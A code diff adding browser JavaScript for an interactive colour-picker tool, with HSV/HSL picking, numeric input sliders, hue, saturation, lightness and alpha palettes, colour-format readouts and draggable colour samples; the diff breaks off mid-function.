+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x &gt; size) x = size;
+		if (y &gt; size) y = size;
+		if (x &lt; 0) x = 0;
+		if (y &lt; 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		// TODO 360 =&gt; 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' &amp;&amp; mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision &gt;= 0 ? precision : 0;
+		this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value &gt; 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action &gt;= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action &lt;= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue &lt; 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i &lt; size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Teinte', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Luminosité';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Valeur';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i &lt; nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
